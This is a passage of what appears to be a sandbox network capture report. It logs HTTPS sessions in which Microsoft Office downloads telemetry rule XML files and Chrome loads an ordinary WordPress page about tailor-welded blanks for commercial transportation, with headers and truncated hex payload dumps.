2024-10-07 12:10:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1be53f37-001e-00a2-0266-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121025Z-1657d5bbd482lxwq1dp2t1zwkc000000039g000000003agg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49831	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:25 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121025Z-1657d5bbd48f7nlxc7n5fnfzh0000000031000000000ff4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:25 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49830	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:25 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121025Z-1657d5bbd48sdh4cyzadbb3748000000036000000000k4hm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49829	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:25 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:25 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 87fc294c-201e-0051-40f3-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121025Z-1657d5bbd48jwrqbupe3ktsx9w00000003k000000000k4fb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49832	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:25 UTC	669	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:25 UTC	306	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:25 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:03 GMT Accept-Ranges: bytes Content-Length: 1150 Cache-Control: max-age=604800 Expires: Mon, 14 Oct 2024 12:10:25 GMT Content-Type: image/x-icon
2024-10-07 12:10:25 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 23 2e 00 00 23 2e 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: h( #.#.

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49839	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 789c8418-601e-0032-5905-17eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121026Z-1657d5bbd482tlqpvyz9e93p5400000003f000000000eyq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49841	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:25 UTC	928	OUT	GET /commercial-transportation/ HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; _ga_E694J4CV2M=GS1.2.1728303016.1.0.1728303016.0.0.0; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408
2024-10-07 12:10:26 UTC	475	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:26 GMT Server: Apache Link: <https://www.twbcompany.com/wp-json/>; rel="https://api.w.org/", <https://www.twbcompany.com/wp-json/wp/v2/pages/3692>; rel="alternate"; type="application/json", <https://www.twbcompany.com/?p=3692>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 12:10:26 UTC	7717	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 45 4e 48 22 3e 3c Data Ascii: 4000<!DOCTYPE html>...[if IE 6]><html id="ie6" lang="en-US"><![endif]-->...[if IE 7]><html id="ie7" lang="en-US"><![endif]-->...[if IE 8]><html id="ie8" lang="en-US"><![endif]-->...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="ENH"><
2024-10-07 12:10:26 UTC	8673	IN	Data Raw: 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 26 26 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 42 6c 6f 62 29 74 72 79 7b 76 61 72 20 65 3d 22 70 6f 73 74 4d 65 73 73 61 67 65 28 22 2b 66 2e 74 6f 53 74 72 69 6e 67 28 29 2b 22 28 22 2b 5b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 73 29 2c 75 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 74 6f 53 74 72 69 6e 67 28 29 5d 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 29 29 3b 22 2c 72 3d 6e 65 77 20 Data Ascii: f(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new
2024-10-07 12:10:26 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 12:10:26 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 2d 74 6f 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 Data Ascii: 4000border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivi
2024-10-07 12:10:26 UTC	8198	IN	Data Raw: 6e 65 77 20 44 61 74 65 28 29 29 3b 0d 0a 0d 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 27 55 41 2d 31 33 38 34 34 38 34 30 2d 31 27 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 20 2d 2d 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 62 6f 64 79 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 20 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 75 6c 20 6c 69 20 61 20 7b 0d 0a 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0d 0a 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 20 64 61 74 61 2d 72 73 73 73 6c 3d 31 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 74 65 6d 70 6c 61 74 65 2d 64 65 66 61 75 Data Ascii: new Date()); gtag('config','UA-13844840-1');</script> --><style type="text/css">body #primary-nav-container #primary-nav ul li a {padding-left: 15px;padding-right: 15px;}</style></head><body data-rsssl=1 class="page-template-defau
2024-10-07 12:10:26 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 12:10:26 UTC	6213	IN	Data Raw: 31 38 33 38 0d 0a 6c 75 6d 6e 2d 68 72 22 20 2f 3e 0a 54 68 65 20 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 20 6f 66 20 54 57 42 20 6c 65 61 64 69 6e 67 20 74 6f 20 6c 69 67 68 74 20 77 65 69 67 68 74 69 6e 67 20 61 6e 64 20 72 65 64 75 63 74 69 6f 6e 20 69 6e 20 43 4f 32 20 65 6d 69 73 73 69 6f 6e 73 20 74 6f 20 6d 65 65 74 20 63 75 72 72 65 6e 74 20 61 6e 64 20 66 75 74 75 72 65 20 72 65 67 75 6c 61 74 69 6f 6e 73 2e 3c 2f 70 3e 0a 3c 70 3e 54 68 65 20 77 65 69 67 68 74 20 72 65 64 75 63 74 69 6f 6e 20 61 6e 64 20 73 6d 61 72 74 20 64 65 73 69 67 6e 20 75 73 69 6e 67 20 54 57 42 20 77 6f 75 6c 64 20 66 61 63 69 6c 69 74 61 74 65 20 6d 65 64 69 75 6d 20 61 6e 64 20 68 65 61 76 79 2d 64 75 74 79 20 74 72 75 63 6b 20 65 6c 65 63 74 72 69 66 69 63 61 74 69 Data Ascii: 1838lumn-hr" />The implementation of TWB leading to light weighting and reduction in CO2 emissions to meet current and future regulations.</p><p>The weight reduction and smart design using TWB would facilitate medium and heavy-duty truck electrificati

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49840	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0a3893d3-c01e-0082-33ee-16af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121026Z-1657d5bbd48sdh4cyzadbb3748000000036000000000k4kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49845	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: bf7deccb-401e-0064-0f0e-1754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121026Z-1657d5bbd48vhs7r2p1ky7cs5w00000003ug000000005zew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49844	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:26 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
